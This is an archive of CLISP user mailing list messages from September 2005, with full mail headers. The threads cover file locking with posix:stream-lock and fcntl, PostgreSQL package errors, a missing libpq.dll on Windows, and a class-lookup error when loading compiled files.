01 Sep 2005 11:08:35 -0400 > * Stephen Compall [2005-08-31 18:14:28 -0500]: > > On Tue, 2005-08-02 at 11:20 +0200, Hoehle, Joerg-Cyril wrote: >> However, it does not correctly restore the original state when used >> with GETHASH or SYMBOL-VALUE. Both places are set to NIL at exit, >> whereas they might have been unset/unbound before. same probably holds for unbound slots of a CLOS instance. (except that one may get an error there...) > Is there a way to find out whether a place, in general, is set or unset? no. -- Sam Steingold (http://www.podval.org/~sds) running w2k non-smoking section in a restaurant == non-peeing section in a swimming pool From keke@gol.com Thu Sep 01 08:11:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAqiy-0003yF-7e for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 08:11:32 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EAqiw-0005Yb-Ae for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 08:11:32 -0700 Received: from d165.gosakafl37.vectant.ne.jp ([163.139.71.165] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EAqiu-0007HZ-Cg for ; Fri, 02 Sep 2005 00:11:28 +0900 From: "Takehiko Abe" To: Message-Id: <20050901151044.26235@roaming.gol.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] posix:stream-lock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 1 08:14:15 2005 X-Original-Date: Fri, 2 Sep 2005 00:10:44 +0900 [sorry if this is duplicated. the first post didn't seem to get through.] Hello, I am trying to figure out how to use posix:stream-lock . > (defparameter *lock* (open "lock" :direction :output)) *LOCK* > *lock* # > (posix:stream-lock *lock* t :shared nil :block nil) T > (posix:stream-lock *lock* t :shared nil :block nil) T > (close *lock*) I expected the second call to stream-lock singal error but it did not. What am I missing? Thanks From keke@gol.com Thu Sep 01 04:38:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAnOU-0004xE-M1 for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 04:38:10 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EAnHk-0007GT-6C for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 04:38:10 -0700 Received: from d165.gosakafl37.vectant.ne.jp ([163.139.71.165] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EAnHa-0006AY-6R for ; Thu, 01 Sep 2005 20:31:02 +0900 From: "Takehiko Abe" To: Message-Id: <20050901113023.23343@roaming.gol.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com Subject: [clisp-list] posix:stream-lock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 1 08:24:46 2005 X-Original-Date: Thu, 1 Sep 2005 20:30:23 +0900 Hello, I cannot figure out how to use posix:stream-lock . > (defparameter *lock* (open "lock" :direction :output)) *LOCK* > *lock* # > (posix:stream-lock *lock* t :shared nil :block nil) T > (posix:stream-lock *lock* t :shared nil :block nil) T > (close *lock*) I expected the second call to stream-lock singals error but it did not. What am I missing? Thanks From sds@gnu.org Thu Sep 01 08:31:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAr2M-0004yb-G7 for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 08:31:34 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAr2L-0002LX-2g for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 08:31:34 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j81FVKTL024423; Thu, 1 Sep 2005 11:31:20 -0400 (EDT) To: clisp-list@lists.sourceforge.net, kania_potter@yahoo.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050901092029.98635.qmail@web30403.mail.mud.yahoo.com> (Kania Potter's message of "Thu, 1 Sep 2005 02:20:29 -0700 (PDT)") References: <20050805135425.19996.qmail@web30405.mail.mud.yahoo.com> <20050901092029.98635.qmail@web30403.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, kania_potter@yahoo.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: connect to database postgresql Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 1 08:34:42 2005 X-Original-Date: Thu, 01 Sep 2005 11:30:36 -0400 > * Kania Potter [2005-09-01 02:20:29 -0700]: > > [4]> (load (compile-file "/root/LISP/sample1.lisp")) > > Compiling file /root/LISP/sample1.lisp ... > WARNING in (WITH-PG-CONNECTION (CONN "table" "kania" > ...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines > 8..14 : > CONN is neither declared nor bound, > it will be treated as if it were declared SPECIAL. this means that WITH-PG-CONNECTION you are used hear is not defined, i.e., it is not PG:WITH-PG-CONNECTION but CL-USER::WITH-PG-CONNECTION. > The following functions were used but not defined: > WITH-PG-CONNECTION CONN WITH-PG-TRANSACTION PG-TABLES > PG-EXEC > The following special variables were not defined: > CONN > 0 errors, 4 warnings yep, I was right. > ;; Loading file /root/LISP/sample1.fas ... > ** - Continuable Error > 4 name conflicts while executing USE-PACKAGE of > (#) into package # COMMON-LISP-USER>. too late. you must USE-PACKAGE _before_ using it! > If you continue (by typing 'continue'): You may choose > for every conflict in favour of which symbol to > resolve it. > Break 1 [5]> you need to make sure that sample1.lisp has (use-package "PG") _before_ the first use of a PG macro. > Where Iam wrong??? you are asking the wrong list. please talk to the pg-sql maintainer. -- Sam Steingold (http://www.podval.org/~sds) running w2k I just forgot my whole philosophy of life!!! From sds@gnu.org Thu Sep 01 09:59:21 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAsPJ-00017v-8B for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 09:59:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAsPH-0000rF-QH for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 09:59:21 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j81Gwowb008477; Thu, 1 Sep 2005 12:58:51 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050901113023.23343@roaming.gol.com> (Takehiko Abe's message of "Thu, 1 Sep 2005 20:30:23 +0900") References: <20050901113023.23343@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: posix:stream-lock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 1 10:00:11 2005 X-Original-Date: Thu, 01 Sep 2005 12:58:06 -0400 > * Takehiko Abe [2005-09-01 20:30:23 +0900]: > > I cannot figure out how to use posix:stream-lock . see flock & fcntl manuals, linked from the CLISP impnotes section for posix:stream-lock >> (defparameter *lock* (open "lock" :direction :output)) > *LOCK* >> *lock* > # >> (posix:stream-lock *lock* t :shared nil :block nil) > T >> (posix:stream-lock *lock* t :shared nil :block nil) > T >> (close *lock*) > > I expected the second call to stream-lock singals error but it did > not. What am I missing? your clisp process already has the lock. if you try to lock the file from a _different_ process, you should fail. -- Sam Steingold (http://www.podval.org/~sds) running w2k Two wrongs don't make a right, but three rights make a left. From keke@gol.com Thu Sep 01 19:05:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EB0ve-0007Hb-JU for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 19:05:18 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EB0vc-00080J-F3 for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 19:05:18 -0700 Received: from d34.gosakafl12.vectant.ne.jp ([220.247.18.34] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EB0vZ-0004PB-Qr for ; Fri, 02 Sep 2005 11:05:14 +0900 From: "Takehiko Abe" To: Message-Id: <20050902020436.5235@roaming.gol.com> In-Reply-To: References: X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: posix:stream-lock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 1 19:06:13 2005 X-Original-Date: Fri, 2 Sep 2005 11:04:36 +0900 Sam Steingold wrote: > see flock & fcntl manuals, linked from the CLISP impnotes section for > posix:stream-lock > > >> (defparameter *lock* (open "lock" :direction :output)) > > *LOCK* > >> *lock* > > # > >> (posix:stream-lock *lock* t :shared nil :block nil) > > T > >> (posix:stream-lock *lock* t :shared nil :block nil) > > T > >> (close *lock*) > > > > I expected the second call to stream-lock singals error but it did > > not. What am I missing? > > your clisp process already has the lock. > if you try to lock the file from a _different_ process, you should fail. I tried it from two processes with the same code, but it didn't work. I will try flock directly. It might be the OS that's failing. Thanks. From keke@gol.com Thu Sep 01 19:30:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EB1KS-0008KP-Dj for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 19:30:56 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EB1KR-0004Bm-N0 for clisp-list@lists.sourceforge.net; Thu, 01 Sep 2005 19:30:56 -0700 Received: from d34.gosakafl12.vectant.ne.jp ([220.247.18.34] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EB1KP-00074U-Jb; Fri, 02 Sep 2005 11:30:53 +0900 From: "Takehiko Abe" To: Cc: me Subject: Re: [clisp-list] Re: posix:stream-lock Message-Id: <20050902023015.21021@roaming.gol.com> In-Reply-To: <20050902020436.5235@roaming.gol.com> References: <20050902020436.5235@roaming.gol.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 1 19:31:18 2005 X-Original-Date: Fri, 2 Sep 2005 11:30:15 +0900 I wrote: > > your clisp process already has the lock. > > if you try to lock the file from a _different_ process, you should fail. > > I tried it from two processes with the same code, but it didn't work. > I will try flock directly. It might be the OS that's failing. OK, flock worked. I am trying to serialize access to a file in a CGI script, nothing fancy. So I will use flock (or open) for now. From sds@gnu.org Fri Sep 02 07:55:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EBCwk-00011V-0M for clisp-list@lists.sourceforge.net; Fri, 02 Sep 2005 07:55:14 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EBCwg-0004ed-BJ for clisp-list@lists.sourceforge.net; Fri, 02 Sep 2005 07:55:14 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j82Eshq1022279; Fri, 2 Sep 2005 10:54:47 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050902023015.21021@roaming.gol.com> (Takehiko Abe's message of "Fri, 2 Sep 2005 11:30:15 +0900") References: <20050902020436.5235@roaming.gol.com> <20050902023015.21021@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: posix:stream-lock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 2 07:56:04 2005 X-Original-Date: Fri, 02 Sep 2005 10:53:58 -0400 > * Takehiko Abe [2005-09-02 11:30:15 +0900]: > > I wrote: > >> > your clisp process already has the lock. >> > if you try to lock the file from a _different_ process, you should fail. >> >> I tried it from two processes with the same code, but it didn't work. >> I will try flock directly. It might be the OS that's failing. > > OK, flock worked. I am trying to serialize access to a file in > a CGI script, nothing fancy. So I will use flock (or open) for now. clisp uses fcntl, not flock, because fcntl allows locking _sections_ of files. could you please try fcntl also? -- Sam Steingold (http://www.podval.org/~sds) running w2k The only intuitive interface is the nipple. The rest has to be learned. From ya007@yandex.ru Fri Sep 02 09:12:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EBE9E-0004AV-UG for clisp-list@lists.sourceforge.net; Fri, 02 Sep 2005 09:12:12 -0700 Received: from mfront8.yandex.ru ([213.180.200.39]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EBE9D-0006E1-GE for clisp-list@lists.sourceforge.net; Fri, 02 Sep 2005 09:12:12 -0700 Received: from YAMAIL (mfront8.yandex.ru) by mail.yandex.ru id ; Fri, 2 Sep 2005 20:12:00 +0400 From: "ya007" Message-Id: <431879D0.000003.17385@mfront8.yandex.ru> MIME-Version: 1.0 X-Mailer: Yamail [ http://yandex.ru ] To: clisp-list@lists.sourceforge.net Reply-To: ya007@yandex.ru X-Source-Ip: 212.98.166.26 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Spam-Score: 2.1 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.6 MISSING_SUBJECT Missing Subject: header Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 2 09:13:01 2005 X-Original-Date: Fri, 2 Sep 2005 20:12:00 +0400 (MSD) Hi. I have downloaded clisp-2.35-win32.zip. After I unzip it and run install.bat Windows says that "lisp.exe - Unable To Locate Component", "This application was failed to start because libpq.dll was not found. Re-installing the application may fix this problem" Best regards, -Anton From sds@gnu.org Fri Sep 02 11:50:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EBGci-0002Jc-W6 for clisp-list@lists.sourceforge.net; Fri, 02 Sep 2005 11:50:48 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EBGch-0006ER-H2 for clisp-list@lists.sourceforge.net; Fri, 02 Sep 2005 11:50:49 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j82IoYTh026052; Fri, 2 Sep 2005 14:50:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, ya007@yandex.ru Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <431879D0.000003.17385@mfront8.yandex.ru> (ya's message of "Fri, 2 Sep 2005 20:12:00 +0400 (MSD)") References: <431879D0.000003.17385@mfront8.yandex.ru> Mail-Followup-To: clisp-list@lists.sourceforge.net, ya007@yandex.ru Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp/win32 requires libpq.dll Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 2 11:51:13 2005 X-Original-Date: Fri, 02 Sep 2005 14:49:50 -0400 > * ya007 [2005-09-02 20:12:00 +0400]: > > I have downloaded clisp-2.35-win32.zip. After I unzip it and run > install.bat Windows says that "lisp.exe - Unable To Locate Component", > "This application was failed to start because libpq.dll was not > found. Re-installing the application may fix this problem" install PostGreSQL 8 (clisp comes with an interface to PostGreSQL) or use the base linking set (remove "-K full") from the argument list of "clisp". -- Sam Steingold (http://www.podval.org/~sds) running w2k (lisp programmers do it better) From keke@gol.com Sun Sep 04 01:10:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EBpaR-00051D-UJ for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 01:10:47 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EBpaP-0007Hk-Fd for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 01:10:47 -0700 Received: from d119.gosakafl35.vectant.ne.jp ([163.139.63.119] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EBpaD-0001bF-Kn; Sun, 04 Sep 2005 17:10:33 +0900 From: "Takehiko Abe" To: , "Sam Steingold" Message-Id: <20050904080957.8524@roaming.gol.com> In-Reply-To: References: X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: posix:stream-lock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 4 01:11:23 2005 X-Original-Date: Sun, 4 Sep 2005 17:09:57 +0900 Sam Steingold wrote: > clisp uses fcntl, not flock, because fcntl allows locking _sections_ of > files. > could you please try fcntl also? I tried it with F_WRLCK + F_SETLK/F_SETLKW and I think it is working. but I am not sure if I did the right test. The clisp is 2.35. I built it from source by blindingly following the instruction. I believe it passed 'make check' test (but the ssh connection dropped twice in the middle of the test due to memory shortage.) The host is a virtual private server running Linux 2.4.20 (uname reports 'i686'). I've just started trying clisp and emacs to edit lisp code. There is lot to cathing up. I am overwhelmed right now. From keke@gol.com Sun Sep 04 22:28:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EC9XJ-0007BM-EM for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 22:28:53 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EC9XI-0004RA-55 for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 22:28:53 -0700 Received: from d135.gosakafl32.vectant.ne.jp ([163.139.46.135] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EC9X9-0003Pp-95 for ; Mon, 05 Sep 2005 14:28:43 +0900 From: "Takehiko Abe" To: "Clisp List" Message-Id: <20050905052807.32091@roaming.gol.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 4 22:29:23 2005 X-Original-Date: Mon, 5 Sep 2005 14:28:07 +0900 I am getting an error "FIND-CLASS: XXX does not name a class" while loading a fas file. Here's a test case: I have two files "file-a.lisp" and "file-b.lisp": ;;; file-a.lisp: (defun foo (obj) (map nil #'(lambda (item) (when (typep item 'bar) (print 'bar))) (list obj))) ;;; file-b.lisp (defclass bar () ()) ;;; Both files load and compile fine. However, when I load file-a.fas (after restart) I frequently but not always get an error reporting: "FIND-CLASS: BAR does not name a class" The problem is not consistent. Sometimes a compiled fas file loads fine without error until I recompile it or just for a while. I tried (lambda ...) instead of #'(lambda ...) and the problem seemed to go away ... again for a while. And sometimes I cannot reproduce the error for a while. Has anyone seen something like this before? [I'm using clisp 2.35 + mk-defsystem 3.5i] Thanks. From pjb@informatimago.com Sun Sep 04 22:38:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EC9gk-0007Rg-Tr for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 22:38:38 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EC9gj-0006q6-8S for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 22:38:39 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 8A0F458344; Mon, 5 Sep 2005 07:38:22 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 37EBC582FA; Mon, 5 Sep 2005 07:38:18 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3B13D10F9F6; Mon, 5 Sep 2005 07:38:18 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17179.55754.174307.530245@thalassa.informatimago.com> To: "Takehiko Abe" Cc: "Clisp List" Subject: Re: [clisp-list] puzzling error while loading fas file. In-Reply-To: <20050905052807.32091@roaming.gol.com> References: <20050905052807.32091@roaming.gol.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. 